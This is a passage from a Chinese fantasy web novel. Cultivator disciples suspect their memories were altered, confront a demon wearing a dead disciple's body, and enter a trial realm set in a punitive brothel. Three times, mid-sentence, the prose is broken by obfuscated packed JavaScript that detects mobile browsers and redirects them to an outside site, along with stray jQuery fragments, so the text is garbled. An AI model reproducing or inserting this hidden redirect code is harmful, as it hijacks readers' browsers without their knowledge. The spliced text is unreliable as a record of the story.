“少时用过,当时还什么事都没有,所以我重生到的节点应是在幼年与此次试炼之间,范围跨度还是有点大了。” 联想到两人模糊的记忆,她又提出猜测:“也不排除记忆被篡改的可能,或许我小时候也疼过,但不记得了吧。说起来我记忆中还真没有哪天,突然与过去产生割裂感,所以一开始听说重生,我是有点不信的。” “我有。”崔惊厄却说,“我惯用右手,每日清晨都会练一会儿剑。我清楚记得就是两年前的清明,我第一次感到右腕疼痛。” 他联系谢扶光有关记忆的说辞,思路又打通一些:“也正是从那天,我的过往记忆开始模糊。有没有一种可能,你重生到的正是两年前清明这个节点,至于那些模糊的记忆,或许是为兑现‘离散亲故’代价而做出的篡改。若非改过,我们一定是认识的。” 他又想起最初听卢笑绒介绍谢扶光时,他满脑满心的陌生。在“离散亲故”的影响下,他对她比对其他人还要更疏离,甚至到了闻所未闻的境地。 “不应该,按道理,天道没有资格肆意变更人的记忆,除非……”谢扶光嘀咕到一半,突然不说了。 她想起按照目前已浮现的信息,前世她是亲手杀了崔惊厄的,也就是说,在她重生之时,他已不能算是活人了。 两人一时都没有说话,良久后她再开口时说的是:“那日围火夜话,卢笑绒是不是也说过往事情都记不太清了?” “嗯,”崔惊厄补充,“舒兄从前也调侃过时光飞逝,两年前的事像隔了一辈子,模糊得做梦一样。” 想到舒扬舟,谢扶光又说:“我时常觉得与师兄很是亲近,而事实上,我们从小到大交集一直很少。” “你没发现卢笑绒也跟你很亲么?她对咱们都过分信任了。” 两人一来一往,又拉扯出许多疑点,越想越是唏嘘。 “原来离散亲故竟是这个意思啊。”谢扶光恍然叹道。 或许都曾是生死相交的挚友,随着一场重生,却又离散各处,对面不识了。 再往深处想,天道既不能肆意更改活人命数,很可能前世在谢扶光重生时,他们已全都死了。 庆幸的是,经历或许如风月云雨,变幻莫测,往来无常,但情谊镂心铭骨,化为死灰也能春风吹又生,随着一呼一吸重新沁入心脾。 一场试炼终究是将他们这些人又聚回到一起。 谢扶光想:难怪她茕孑二十年,回顾过往,却不曾感到孤独,原是记忆做了假。 还好,这场试炼,她来了。 “所以我母亲的失踪也是重生后改动的记忆么?”有了思路,谢扶光继续猜下去。 谢扶光的母亲宛流萤在当年也是一代佳人,强大且貌美,她与谢白扇青梅竹马,人人称道的天作之合。 据说宛流萤在时,谢白扇还不似现在这样,他曾是个很有温度的人,甚至可以称一句风趣。 宛流萤的失踪对他打击极大,他苦寻一载有余,仍未能找到他心心念念的妻子。 谢扶光自幼没怎么感受过父母温情,她其实一直有份隐隐的企盼,延绵多年,哪怕至今她早已习惯父母情分的缺席,仍旧偶尔会想上一想:若她母亲没有失踪,他们一家大概能快乐许多。 “从这儿出去以后,我们去找吧。”崔惊厄在万里悲丘的一片晦暗里展望七洲山水,“正好就当云游四海了。” “真好啊……”谢扶光笑着感叹,语气却不无酸涩。 他们还能不能出去?出去后,外面又会是什么样的呢? 这夜是个不眠夜,五人中只黎暨睡得好,像没打通代表忧愁的关窍。 清晨黎暨打着哈欠走出房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581779|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,就这么水灵灵的,含着生理性泪花与其余早已收拾妥当的四人打了照面。 齐刷刷的注目礼把他生不逢时的哈欠都吓了一半回去。 他朝窗外看了眼,一派昏暝,连太阳都昏昏欲睡着。 “不是这……这才什么时候,你们就都起了?轮回境折腾两天,你们都不累不困么?” 他是被饿醒的,他们四个怎么回事? “我一睡下就梦见师兄,干脆起来了。”一群高冷大爷里,只有软心肠的卢笑绒答话。 她睫毛湿漉漉的,声音发瓮。 黎暨怜香惜玉了几句,转头又要问第二好性子的崔惊厄,这一看才发现:他崔兄嘴唇破了好大一条口子,生生把一张薄唇肿丰满了。 “哎哟崔兄,你嘴怎么了?”他问。 谢扶光轻咳一声,煞有介事教训道:“问什么问?没看见他正养伤么?” 养……养伤…… 黎暨有句艹不知当讲不当讲,最终在谢扶光的死亡凝视下选择不讲。 还是舒扬舟接过话头,纡尊降贵答了他一句:“我没睡好是因为想师父。” 黎暨非但不领他的情,还一副不忍直视的表情:“我说舒兄,你都一大把年纪了,怎么还跟没断奶孩子似的,天天想师父?” 舒扬舟朝他扔去一颗果子,被黎暨随手接住。 “总比你一天天只惦记吃和睡好。” 说是“想师父”,事实上昨夜舒扬舟一直在纠结要不要将秘境中事告知给谢白扇。 黎暨说他像没断奶孩子,其实不是全无道理,在很多事情上,他都能够独当一面,唯独太依赖谢白扇这点仿佛怎么都改不了,就像…… “瞎说,我可比你强,你这都快赶上邪教崇拜了,靠……”黎暨啃着果子随口调侃,刚侃完就被酸了个嘴歪眼斜。 听到“邪教“的一瞬,舒扬舟想起了他体内的那丝邪气,但也只是一个念头,风一样,不待留痕就刮过了。 对谢白扇,他永远不会怀疑。 早饭过后,天依然没亮起来,阴沉的风吹皱心情,步出驿站时,谢扶光右眼突然跳起来,她抬手压下,仿佛就能扼住命运的咽喉。 舆图上用于第三轮试炼的秘境比上一轮又折了半。 仅有的几十秘境点上,只有两个亮了白光,其中一个白光炽盛,另一个则稍暗。 “分开还是一起?”谢扶光食指点过那两个秘境,二者分居东西两头,比宿敌还疏远。 “一起吧,”崔惊厄建议,“越闯到后面,越可能有危险。” “我也倾向于一起,”舒扬舟附和,“后面的秘境大多困难,人数下限会提高,如果分散,不排除凑不够人的可能。” 最终他们一齐将灵力注入那个稍亮些的秘境。 舆图传送他们抵达秘境入口,落地时谢扶光眼前一亮,虚空闪烁着一个图纹,是有人用隔空寄音联络她。 除去身边这些人和谢白扇,她的隔空寄音符纹就只告知过器墓迷阵中结识的圆脸兄等人。 眼前图纹显然不属于谢白扇,谢扶光刚接起,另一头就蹦进来一串话,圆脸兄说的很仓促,像在争分夺秒。 54.“江星” “大小姐,我们刚走出万里悲丘,但出入口守着大量仙盟的人,他们以接风为由要带走我们。我们中的大多数已经被带走了,一会儿就轮到我,我关于秘境的记忆正在消失,我觉得那些人看起来很危险……” 因为慌,他的话很乱。 “那些人什么样子,有你认识的么?”谢扶光尝试探听更多细节。 对面这回却不急了,甚至沉寂了少顷,然后谢扶光听到圆脸兄的嘀咕声:“奇怪,这个图纹我不认识啊,我怎么给不认识的人打的隔空寄音?” “我是谢扶光,你不记得了么?我们在第一个秘境认识的。” “啊——”圆脸兄发出一声堪称光荣的感叹,他惊喜道,“居然是渡业山的大小姐!今儿这运气开光了啊!您说您现在在万里悲丘?秘境试炼么?真厉害,我都出局了……对了大小姐,我刚刚看见谢盟主也进了万里悲丘,什么情况?里面出事了么?您小心啊……” “这位道友,随我们走吧……” 大概有人发现了圆脸兄,他终止了通讯。 “外面一定出事了。” 属于圆脸兄的隔空寄音图纹熄灭,谢扶光目光迟迟没有离开那寂寂虚空,语气堪称笃定。 “他说师父进来了?”舒扬舟疑惑,“秘境里的事我没有跟他说,难道是出去的那批人做了汇报,师父是进来诛邪的?” “外面明显有问题,那群人但凡有点脑子都不会这么做。”谢扶光不认为消息是圆脸兄他们流出的,“况且他们一出去就什么都不记得了。” 她心情很不好。 昨夜与崔惊厄做出一系列推断后,她越来越觉得前世他们在万里悲丘很可能遭遇了不测。 经过两个秘境,阴谋的拼图他们已收集数片,此事若被幕后者得知,他很可能提前收网。 周围看似寂寥无人,风平浪静,实则到处都是看不见的虎狼环伺,毕竟万里悲丘里的传送法阵太多了。 而他们还有许多秘密没来得及揭开,处境相当被动。 “抓紧时间,先进秘境再说。”谢扶光当机立断。 前不久还看起来危机重重的秘境,在此时竟成了一种别样庇护。 谢扶光上前查看飞来石投映出的要求,本就不轻松的心又往下狠狠一坠:“这个秘境要求六人,我们需要等。” “不用。”她话音刚落,一个声音擦着她尾音追至。 空气凝成漩涡,从中踱出一“人”。 来人双目明亮,生得甚至相当俊朗,算谢扶光半个“故人”,但面对他的到来,五人中没有一人面色好看。 “师姐,还有我呐。”“江星”眨着一双纯良的眼,笑容里夹杂邪气,“说起来,我与这一秘境的主人还有些渊源,正巧来个久别重逢,给大家助助兴。” 在场所有人都知道,真正的江星早已死了。 看这个“江星”的表现,他想必也知道他们已知道江星死了。 六人一五对立,揣着明白的心,又撑着糊涂的皮。 “你与秘境主人有渊源?”谢扶光尝试套话,“江师弟好神通,人还没进去,就知道了秘境内容。这又是一个轮回境么?” 坦白说,谢扶光不太喜欢轮回境,打打杀杀能解决的事,一旦牵涉感情,就会变得复杂,也不好抽身。 “是不是我们一起进去看看不就知道了?”“江星”不上当,没有透露更多。 “真遗憾,我们几个都是逐名贪功之人,带你进去怕被抢了风头,这次就算了。”谢扶光无意与他扯皮兜圈,只盼再空降一人过来,谁都行,只要能过卢笑绒那关。 “哦,”“江星”歪头轻笑,“真可惜,我也贪功,非进这个秘境不可呢。” 两方之间拉起一根绷紧的无形弦。 表面和平已然无法维系,谢扶光索性问:“你是谁?不用真身打个招呼么?” “招呼?大小姐贵人多忘事,”“江星”说着,翻开一只掌心朝上,那里登时聚拢起一团黑气,“说起来,我们昨日才刚打过招呼,想起来了么,我的大小姐,我还是看着你长大的呢。” 他说话时,谢扶光大脑光速运转,数个念头在电光火石间飞掠。 从此人形态包括他的话,都不难判断,寄生江星壳子里的多半是他们昨日才在轮回境见过的螭寐。 而他们在轮回境里的事,他怎么会知道? 他还说看着她长大…… 谢扶光心头乍起一层恶寒。 难道说,她体内邪气有监视的功能,泄露他们的一切推断与动向? 她自己就是那个叛徒! 轮回境中,她和崔惊厄都与螭寐交过手,堪称惨败,知他不好对付,她只想赶快躲入秘境,进去后再思索破局之法。 偏一直没有其他弟子再过来。 “人数不够的话,强入秘境会如何?”她问崔惊厄。 “轻则伤,重则亡。” “别啊,何必这么糟践自己?伤着了多可惜。” 螭寐大概很是珍惜这几具少年英才的躯壳,催动黑气在他们与飞来石之间划下一道屏障,让他们无法滴灵力入石。 崔惊厄见状想起些什么,心思一动应和他:“尊上说得在理,我也不支持强行入境。” “外界传闻果然不错,尊上这些年转了性,都会体贴人了。” 说起这个,螭寐神色有些难看,崔惊厄便了然,他的杀心还真是被压了。 “我能不能问问,是谁在背后教尊上您做人的呢?这么温和,定是我们修界的吧!能教您,位置想来还不低呢。” 他话音刚落,螭寐挥袖扬起一片粉末,众人齐屏息,但卢笑绒反应慢了些,吸进少许。 “崔惊厄,你这么好奇,我不介意教一教你做人,自作聪明,是要付代价的。”螭寐收手。 与此同时,卢笑绒低呼出声:“糟了,我鼻子很麻,暂且闻不到东西了。” 卢笑绒失去了分辨人魔的能力,也就是说,即便这会儿再有弟子过来,也不能确保他是不会带来风险的。 情况更糟了一重,谢扶光没有说话,她在心下暗暗估算他们的战力。 如今他们身上传承了轻尘和朱颜故的大半功法,动手时如有他们相助,况且此刻比之农院那次还多了舒扬舟和黎暨,舒扬舟与崔惊厄配合算默契,二人联手可发挥崔惊厄右手剑的效果,再加上她的刀和黎暨的十八棱紫金鞭,对上螭寐未必没有胜算。 倘若到了无可转圜之境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603225|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便打一场,纵使被黑气吸干血肉,也不能把躯壳留给他。 两边一时都不再说话,谢扶光他们在拖,等一个转机,看后续还有没有人过来; 螭寐则不知在等什么,既没动手也不回去,他不是有耐心干耗的性子,却足足陪他们大眼瞪小眼了半个时辰。 谢扶光猜测他此举全然出于自傲,赌他们会先撑不住,换句话说,即便或许真的再有弟子过来,他也并不放在眼里。 想到这儿,谢扶光隐晦地勾了下唇——螭寐不知道,谢白扇进了万里悲丘。 此时再回想与圆脸兄那一段隔空寄音,谢白扇会进来多半是为了螭寐。 二十年来,谢扶光与谢白扇的父女情平淡如水,她还是头一遭这么期盼他能尽快赶来。 事实证明,否极泰来诚不她欺,时运的天平终究向她倾斜了毫厘。 最先提示好运的是舒扬舟的七星绝命剑。 剑身上代表谢白扇的那颗星灼灼亮起,证明谢白扇已赶到附近。 谢白扇与螭寐敌对多年,螭寐对他的气息也很是熟悉,近乎同时,他悠然神色一凝,浑身当即散出黑气,就要抢着谢白扇赶来前的片时对他们出手。 然而他显然低估了谢白扇的速度,谢、崔、舒、黎四人联手扛下螭寐三招,缓过这片时,身后又一漩涡乍现,谢白扇刀比人先亮相,满溢天地灵气的一剑直捣螭寐后心,逼他不得不回防,撤回了对几名弟子的攻击。 论战力,十几年前谢白扇与螭寐能打平手,但螭寐练功的方式就是害人,近年他安居妖魔界,久未出来作乱,技法略有生疏,这会儿战力已比轮回境中农院里略逊了一筹。 螭寐且战且退,几十招后已稍居下风。 谢扶光素没什么武德,也不觉得以多欺少有违什么君子行径。 今日螭寐擅入万里悲丘,顶的又是江星躯壳,为祸人间的人证物证俱在,便是命陨在此,算起来也是他不占理。 谢扶光在旁观战百余招,脑子却没闲着,始终在思考该如何杀螭寐。 此刻他占的是江星躯壳,浑身上下只一副魂魄属于他自己,寻常伤身的打法并不适用,得想法子对他的魂魄下手。 “黎暨,轻尘给你的符咒里有没有能作用于魂魄的?”谢扶光问。 黎暨昨夜才得到轻尘的符咒能力,不待练习就睡了一大觉,对此很不熟悉,他在识海中翻找良久,抓耳挠腮地依葫芦画瓢造出一张:“我的水平,最多到这种程度了。” 此符名“业火焚魂”,贴于额心可致神魂剧痛,原本威力应当不小,但隔行如隔山,黎暨画的这张符,运笔时灵力几度中断,大大损其效用。 来不及要求更多了。 谢扶光手持半吊子的业火焚魂,飞身迎上,就要将符咒贴于螭寐——也就是“江星”身体的额心。 意外的是,谢白扇也在此时出了手,而且比她更快。 就在她的符咒距螭寐仅余毫厘之距时,谢白扇果断一刀,干脆利落,直接洞穿了“江星”心脏,但听螭寐喋喋怪笑一声,借江星满含鲜血的口朝谢扶光绽开一个饱含恶意的笑:“大小姐,您晚了一步呢。” 紧接着,他的魂魄就从江星躯壳脱出,不知飘往何处去了。 55.化影境 谢白扇为何要出这样一剑? 他不会以为杀掉躯壳后,螭寐的魂魄也会跟着死吧? 谢扶光不是舒扬舟,没有对谢白扇的盲目崇拜。 由于一身反骨和浑然天成的暴躁,她甚至比多数人更易觉得某人的某些行为像个傻缺。 譬如谢白扇这带着万钧威势的一刀,在她眼里就成了傻缺一斩。 她用了三息时间面对螭寐在眼前被谢白扇一刀送走的事实。 第一息,她有一霎短暂的暴怒,觉得谢白扇坏了她的事,但怒意很快被她压下了。 压下这浓烈情绪的不是孝心,而是理智,纯粹的理智。 第二息,她冷静下来,克制地用余光仔细打量谢白扇,想捕捉他每一个细微神情,借此判断他是无心之举,还是故意为之。 谢白扇面无表情与往日无异,她却从他身上感受出一丝诡异的熟悉感。这份熟悉并非多年来的熟稔,甚至不来源于她。 她感到昨日新从朱颜故那儿得的那根灵脉在无端躁动,一跳一跳,跃动出重逢般的频率。 她在倏然间产生了一个堪称惊悚的猜测:所以用这条灵脉炼出的那些丹药,谢白扇会吃过么? 第三息,种种零散痕迹在她脑海中串成断断续续的一线: 螭寐麻痹卢笑绒的嗅觉,偏偏在谢白扇到来之前,是巧合还是故意为之? 与谢白扇对上时,螭寐明显下滑的实力,是真力有不逮还是要就势退场? 又为何,她和舒扬舟身上都有邪气缠绕? 惊疑间,在持续一早的乌云与七星绝命剑堪称诈骗的“幸运”指示后,真正的时运总算眷顾了她一回——不远处又涌现出一个漩涡。 不及多想,甚至没有看来人是谁,谢扶光眼疾手快,趁谢白扇不备将业火焚魂贴上他前额,同时脚狠踢在他胸口,借这力道身形急掠向后,一把将刚从漩涡出来一半的那位仁兄扯过来,直朝飞来石而去。 “快!注灵力!” 四名同伴虽不明所以,好在足够果断,也很有默契,一息时间几人已全将灵力注入完毕,唯独谢扶光手上牵着的仁兄还在吱哇乱叫着“非礼”。 乐命在那倒霉兄弟掌心横切一道血口,蕴藏灵力的鲜血飞溅,飞来石亮起,将六人齐齐整整吸入秘境,而后归于沉寂。 正式开启后的秘境不比空置时候,任你有通天修为也无法从外破入,他们暂时安全…… 呃不,仅剩了那倒霉兄弟一个隐患。 进入秘境后,谢扶光仍没闲着,从衣摆扯下一条碎布就把那倒霉弟子反手捆起。 “得罪,只是特殊时期,总得谨慎些,等她鼻子恢复了,”她指指卢笑绒,“就能验证你是不是清白。” “谢扶光!”倒霉兄弟惊怒交加,掌心又疼,一把少年嗓生生吠出了破锣音,“什么渡业山大小姐?我看你简直是个泼妇!” 谢扶光很出名,少年显然认识她。 “嗯,你良家。”谢扶光被骂了也不恼,还淡淡回应他。 毕竟大小姐自己也觉得,今儿她办的这事,就活该被骂。 “嘁,我家当然好,你知道就好,”倒霉兄弟说起师门,一脸骄矜,都忘了接着嚎,“等出了秘境,我就让我爹去找你算账!” “嗯,你有爹,了不起。”谢扶光依旧面无表情敷衍。 “装什么?你不是也有?先说好,到时候你可别搬出你爹来压我爹。” 谢扶光正要答话,肩上一热,崔惊厄搭上一只手。 “他有什么不对么?” “我不知道。” 刚刚一切全发生在瞬息之间,快得如同幻觉,此刻让谢扶光回忆那丝诡异的熟悉感有还是没有,真有点难为她。 “你不确定,就对师父用了那么恶毒的符咒?”舒扬舟语气很重,讥诮不已,“谢扶光,从前我只当你性子冷,倒真是把你小看了。” “那个……”黎暨在边上抓耳挠腮,弱弱劝和,“业火焚魂只焚奸邪魂魄,如果盟主没问题……那个,盟主肯定不会有问题,所以那符咒对他不会有伤害的。” 他和事佬当得很努力,但没人附和他。 业火焚魂只焚奸邪这点,谢扶光此前并不清楚,她对谢白扇是真起了杀心的。 “这么多年,师父精心培养你,给你最好的修炼资源,你摸着良心说,他对你不好么?”舒扬舟眼底发红,恨恨道,“你怎么能这么辜负他?” 随着他的话,谢扶光回忆多年来与谢白扇的种种。 他在培养她这件事上确乎用心,甚至精细到了每一顿饭吃什么、吃多少,每个时间点又该干什么…… 但除此之外,他便再没尽过任何父亲的责任,所以她也说不清他对她算好还是不好,她只知道谢白扇给的她并不想要。 谢扶光最后只是说:“他既得你敬爱至此,大概对你更好吧。” 舒扬舟闻言一怔,他尝试回忆与谢白扇之间的师徒温情,一时竟没能从记忆里扒出来。 所以,他究竟为何这么敬爱谢白扇呢? “快看!金字出了!”一旁黎暨兴奋叫道,“我的老天,总算出了!”和事佬抬起衣袖拭了把汗,光荣卸任。 【各位弟子,此境为存续十九年的化影境。 秘境考核分上下两部分,全部完成才可通关。】 第一段文字一出,在场人俱是一怔。 这竟是整个试炼场只有十个的化影境。 化影境的主人都是还在世间存活的活人,只是这活法与常人有所区别。 化影境依托灵物成型,与轮回境相似,也需要献上人的血肉。不同的是,化影境主人可随时解除此境,只需付出灵物破碎的代价。 化影境存续期间,人与物融成一体,人不死,物不灭,堪称无坚不摧,是个很好的避难法子,但此境之所以被多数人避之不及,自然有极大的弊端。 所谓“化影”,其实是人化物影,自人与物合为一体,身体便不再由灵魂主导,而是交给灵物操控。 若你选定的灵物是活物,譬如灵猫灵犬,身体便会随它们的意志四体着地,滚爬蹦跳着撒欢;一旦选了死物,整个人则不得言,不能行,魂魄囚于方寸身体,与活尸无异。 因化影境的存续对境主人是一种极大磋磨,大部分人都会选择很快终止。 而此境,已存续了十九年…… 寥寥数语,谢扶光已能窥见其主人所背负的沉重。 “我听说化影境是可以将弟子传送到境主人所在地完成任务的,这境主人是谁?出去后我四处打听打听,我爹人脉广,他那群狐朋狗友没准能帮忙。” 说话的是那倒霉兄弟。 兄弟姓宁,单名一个磐字,是药王神殿娇生惯养的小少爷,生平吃过的最大苦头是今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627460|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢扶光在他掌心划的一刀。 其人锦衣玉食,穿金戴银,家世好,心理素质更好,这么会儿就忘了还被队友捆着的处境,叭叭又炫起父来。 答疑解惑似的,金字下一句紧跟着浮现。 【第一轮考核, 地点:投影青石; 要求:找出影像中的化影境主人,尔等需在三次机会内选中。 祝各位弟子好运。】 金字消失,周围环境一暗,再复明时,他们已置身一方小岛。 围绕岛四周的不是湖水,而是水一样清澈的青石,上面一幕幕放映着画面。 青石共七七四十九面,面面如平镜,每面“镜”聚焦一人,四十九人在行动时有所交集,不难看出同处一地。 一面青石正巧映出门口的大字牌匾“留春馆”。 “这这这……”宁磐小少爷显然识得此地,“怎么会是这种地方?青楼,还是男风的。” “看我干嘛?!”捕捉到黎暨捻衣领的动作,小少爷气得险些翻白眼,“少爷我不好这口,我也只是听人说起过。” “这地方在西华洲?”谢扶光问。 宁磐的师门药王金殿是西华洲的镇洲大宗门,这留春馆名不见经传,连以渊博著称的崔惊厄都没有耳闻,他会听说,应当距离不远才对。 “嗯哼,”听到谢扶光求他赐教,宁磐显然很得意,下意识要伸手比划着指点江山,这一动牵扯伤口,才想起手还被捆着,龇牙咧嘴抽了长长一口凉气。 “嘶,这破玩意什么时候能给我解开?”小少爷没好气,朝谢扶光瞪眼,“要不是打不过,我定要你好看!” 卢笑绒有点抱歉地上前,取出个小药瓶给他伤处上了些药,还拿药膏抹在他被勒得发红的细嫩手腕。 “得等我的鼻子好了才行。” 宁磐看着她旗杆似的身子骨面露嫌弃:“你这身子也忒弱了,一个破药粉能毒你这么久,看在这群人里你最顺眼,回头让我爹和我师父给你好好补补。” “那便谢谢宁道友了,”卢笑绒纯良一笑,把话题拐回去,“这留春馆你能再详细说说么?” 宁磐被顺好了毛,总算配合着开了金口:“留春馆在西华洲挺出名的,里头都是些象姑,你们能想象么,一群大男人涂脂抹粉,穿女人衣裳,真不明白怎么这地方都有人喜欢,我光是想想就恶心死了。” “说重点。”谢扶光打断。 经过前两个秘境,她直觉这化影境主人沦落至此定有他的不得已处,宁磐的话听着刺耳。 宁磐翻个白眼,红口一张,眼见要向臭脸大小姐开炮,瞥见卢笑绒期待的眼神,终究选择说的人话。 “除此之外其实也没什么了,我是有天喝多了,被几个外门弟子拐去过一次,才知道的这地界。那天我在楼梯角撞见一个鬼一样的象姑,当时我就吓跑了,”小少爷心有余悸,“哦对,我还听说过一种说法,据说留春馆的象姑们是下贱人的代表,好多人得罪了有权势的贵人也会被扔进来,那个词怎么说来着……” “人间的阿鼻地狱!西华洲秦楼楚馆不计其数,这家能屹立近百年不倒,就是因为这里最能玩得开,而且听说对着象姑们玩花活,折腾他们,可以向送他们进来的权贵领赏钱,每月都有被玩死的象姑,但又总会有新人进来。” “总之除了象姑馆本身,这还是个用于罪罚的地方。” 56.选择错误 什么罪罚? 某些杂碎有个一官半职或几个臭钱,还真当自己是王法,鱼肉起人来了。 谢扶光纤薄眼皮恹然下垂,唇角轻扯,这是她杀心起的一贯神色。 宁磐说话时,谢扶光其实只有一半心绪在听,另一半还有一搭没一搭反刍着进入秘境前的风波。 因而“罪罚之地”、“人界的阿鼻地狱”这些字眼很自然地便与螭寐那句“我与这一秘境的主人有些渊源”联系在了一起。 “秘境主人有可能是被螭寐送进留春馆的。”众人沉默唏嘘之际,她兀地开口。 经她提醒,其他人显然也记起螭寐的话,心下除去怒意还有几分不忍。 若真是如此,境主人……实在太可怜了。 他若化为死物,不会动也不会说,只能任由蹂躏;而若化为灵宠之类的活物,不通人事,同样不会懂得反抗。 这样的日子一连十九年,偏偏他始终没有解除化影境,死都不能。 “所以,我们现在需要找不怎么反抗的人对吗?”卢笑绒问,她嗅觉暂时麻痹了,可视力还在,自认找人这事上能挑大梁。 “你问这干嘛?”宁磐这时候还颇有风度,“那种场面你还真要看啊?你,还有那边那个姓谢的,你们闭眼,我们四个男人找就行了。” 谢扶光其实觉得那种画面虽污秽了些,却也没什么不能看,但崔惊厄经过她时,食指从她眼前轻掠,指腹在她两扇眼皮点了点,意思明确。 既然大家都长了眼,不缺她这一份力,她便没有强求,阖上眼睛养神。 隔绝了眼前画面,心里翻涌的诸多场景反而更清晰起来。 她的思绪从谢白扇到底有没有问题开始发散,很快转到螭寐如何进得万里悲丘,当年颜琅前辈分明设下过阻碍妖魔入内的阵法,既想起颜琅,脑海中不由自主又出现器墓迷阵中作乱的那把郎绝刀…… 颜琅会有问题么?虽说死者已矣,这个念头的产生又毫无根据,光是想想已然很离谱,但这世道,郎绝都成了邪器,谢白扇的清白也没法保证,还真说不定呢? 倘若颜琅也有问题,那麻烦可就大了,他为修界留下了太多东西,除去万里悲丘的阵法,还有指示厉鬼降世的法器…… 谢扶光不是会放任疑问生长的人,她得验证点什么! 她遽然睁眼,本是要找黎暨说话,视线却先撞进一块投影青石。 青石的主角是名白衣象姑,与被迫入留春馆受难的其余象姑们不同,他看起来堪称愉快,甚至主动准备道具高调揽客。 “这这这……怎么会有这样的人,简直不知廉耻!”宁磐只瞥了一眼,似不忍视,匆匆调转视线。 黎暨也觉看着闹心,一错眼却见谢扶光正盯着那人瞧,他大惊失色:“哎哟大小姐,你怎么把眼睁开了?!” “大小姐看了什么?我要和大小姐看一样的!”卢笑绒耳朵比狗灵,脑袋听着声雀跃地一转,被宁磐眼疾手快按回原处。 谢扶光只是觉得那人给她一种说不清道不明的感觉。他笑着、跳着,看起来很是高兴,但她睁眼的瞬间正撞进他瞳孔,在那一霎她感到一种极尽悲哀的冲击,而当她再定睛看,那悲哀又雾一样消散了。 大小姐自知自己不是善解人意之人,就没擅自解读那人表情误导大家。 她收回视线,对黎暨正色道:“你那个业火焚魂,还能画么?” “啊,啊?”黎暨被她跳跃的思路整不会了,磕绊着说,“能是能,但你……现在要么?” “过了这关再说吧。”谢扶光不急,只问,“业火焚魂只能除妖和魔的邪气,对吧?” “是啊,”黎暨只当大小姐后悔了,怕那符误伤谢白扇,又不好意思说,遂宽慰道,“放心,虽说人里面也不少坏的吧,但各路法器只针对妖魔,这是修界的规矩,业火焚魂是轻尘还没跟修界闹掰时创的,那会儿他对修界尊敬得厉害,放心,盟主不会出事的。” 谢扶光满意地点点头,不说话了。 “符合条件的总共有三个。”这时舒扬舟汇总一圈看下来的成果,“三号和三十六号青石映出的两人都不动不叫,符合化为死物的特征;四十三号则……可能是灵犬,因为他把欺负他那人的……” 说到这儿,他拍拍黎暨:“我口干,你接着说吧。” 黎暨一脸菜色,显然不愿接下这个任务,声音细弱蚊蝇:“四十三号把他上面那人的阳……□□咬掉了。” 众人:…… “一时符合特征不排除有巧合的可能,”谢扶光说,“劳烦你们重点再盯一盯这三人,等到三炷香燃尽,再选出最适合的一个吧。” 他们总共有三次选择机会,每次选择间隔三炷香,最多九炷香燃尽,即可知这一关是成是败。 其他三个男的继续盯着,黎暨问谢扶光:“我说师妹,你又要那符咒干什么啊?” “做个试验。” “什么试验?”黎暨面露难色,“不是我蓄意打探啊,只是您那行事风格太过诡谲,不说清楚我还真不敢助纣为虐。” “虐也碍不着别人,我给我自己用。卢笑绒不是说我身上有邪气么?” “你想尝试用业火焚魂把邪气除去?”黎暨露出个牙疼似的表情,“不是我说师妹,此前从没人这么试过,你别想一出是一出,得慎重啊。” 谢扶光不以为意:“你不是说了,业火焚魂对人是无害的,按道理对我应该不会有什么损害。至于对邪气,能除自然最好,浑身清净,若不能……至少还能说明一些问题。” 她身上或许不是妖气和魔气。 后面的话她没有说完,若真是那样就很糟糕了。 她没留意,舒扬舟站得距他们较近,在她说话时不动声色打量来一眼。 三炷香时间过得不慢,但投影青石中那三位重点关照对象发挥都还算稳定,“死物组”两位始终不声不响,眼珠甚至都不会转一转,“灵犬组”那位则一直张牙舞爪,到后来被龟公反剪双手绑在了床架子上。 也正是这时,他终于受不住,厉声吼出一句人骂,也因此跌出了候选人一列。 经过一番激烈角逐,“死物组”那两个不分伯仲,被当作答案依次报给了飞来石。 飞来石在他们面前连转好几个吊人胃口的圈,等待金字出结果的时间拖得很长。 谢扶光在这间隙里,莫名就生出种不太好的预感,总觉得……太顺利了。 她的运气虽不似舒扬舟那般,差到远近闻名的程度,经二十年实践证明,却也没法碰“好”的瓷。
